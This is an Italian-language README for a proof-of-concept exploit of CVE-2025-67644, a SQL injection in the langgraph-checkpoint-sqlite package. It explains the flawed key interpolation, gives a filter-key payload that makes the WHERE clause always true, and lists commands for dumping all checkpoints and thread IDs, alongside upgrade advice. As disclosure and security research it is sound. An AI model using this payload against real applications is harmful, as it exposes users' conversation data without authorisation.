
Proof-of-concept exploit per CVE-2025-67644, una vulnerabilità di SQL injection in LangGraph SQLite Checkpoint. Dimostra l'iniezione SQL arbitraria tramite chiavi di filtro dei metadati non sanificate, consentendo l'esfiltrazione dei dati e il bypass dei filtri.
CVE-2025-67644 è una vulnerabilità di SQL Injection (CWE-89) nel pacchetto langgraph-checkpoint-sqlite (parte dell'ecosistema LangGraph / LangChain).
Consente a un attaccante di iniettare SQL arbitrario tramite chiavi di filtro dei metadati non sanificate passate ai metodi / di .
list()alist()SqliteSaverImpatto: bypass completo dei filtri, divulgazione di tutti i record dei checkpoint (inclusi stato della conversazione potenzialmente sensibile, ID dei thread, metadati) e, in alcuni scenari di distribuzione, accesso più ampio al database.
Versioni interessate: < 3.0.1
Corretta in: ≥ 3.0.1
Punteggio CVSS: 7.3 (Alto) — AV:L / AC:L / PR:L / UI:N / S:C / C:H / I:L / A:N
La logica interna _metadata_predicate() utilizzava un'interpolazione f-string non sicura delle chiavi del dizionario controllate dall'utente all'interno di un'espressione di estrazione JSON:
f"json_extract(CAST(metadata AS TEXT), '$.{query_key}')"
Un attaccante che può fornire chiavi arbitrarie (ad es. tramite input API) può chiudere prematuramente il percorso JSON e iniettare frammenti SQL, come ad esempio:
{"env') OR '1'='1": "anything"}
→ con conseguente clausola WHERE che risulta sempre vera → restituisce tutti i record.
flowchart TD
A["User / API Client"] -->|"Sends malicious filter dict"| B["Application using langgraph-checkpoint-sqlite"]
B -->|"Passes filter=..."| C["SqliteSaver.list method"]
C -->|"Unsafe key interpolation"| D["Metadata predicate logic"]
D -->|"Builds injectable SQL"| E["SQLite Engine"]
E -->|"Returns ALL checkpoints / sensitive data"| F[Attacker]
F -->|"Data exfiltration / authorization bypass"| G["Impact achieved"](Questa versione evita le parentesi nel testo dei nodi dove possibile e usa le virgolette attorno alle etichette con caratteri speciali/punti per prevenire errori di parsing.)
--dump-all (mostra tutti i record), --threads-only (estrae solo gli ID dei thread)pip install langgraph-checkpoint-sqlite"<3.0.1" # e.g. ==2.0.0
# Basic check (count only)
python3 exploit.py checkpoints.db
# Dump full checkpoint details
python3 exploit.py checkpoints.db --dump-all
# Extract thread_ids only (useful for enumeration)
python3 exploit.py checkpoints.db --threads-only --dump-all
# Test against in-memory database (quick & volatile)
python3 exploit.py ":memory:" --dump-all
Installa la versione vulnerabile:
pip install langgraph-checkpoint-sqlite==2.0.0
Salva il codice dell'exploit come exploit.py
Esegui su un database di checkpoint esistente o nuovo:
python3 exploit.py checkpoints.db --dump-all
Aggiorna immediatamente:
pip install --upgrade langgraph-checkpoint-sqlite
(versione ≥ 3.0.1)
Non accettare chiavi di filtro dei metadati arbitrarie da fonti non attendibili (utenti, API, payload JSON, ecc.)
Nella versione ≥ 3.0.1 la libreria applica una regex rigorosa sulle chiavi: ^[a-zA-Z0-9_.-]+$
Questo è un proof-of-concept rilasciato esclusivamente a scopo educativo e di ricerca sulla sicurezza.
Non utilizzare questo codice contro sistemi in produzione o qualsiasi target senza esplicita autorizzazione scritta.
L'autore non è responsabile per usi impropri o danni causati da questo codice.
Solo divulgazione responsabile e ricerca.
Mohammed Idrees Banyamer
@banyamer_security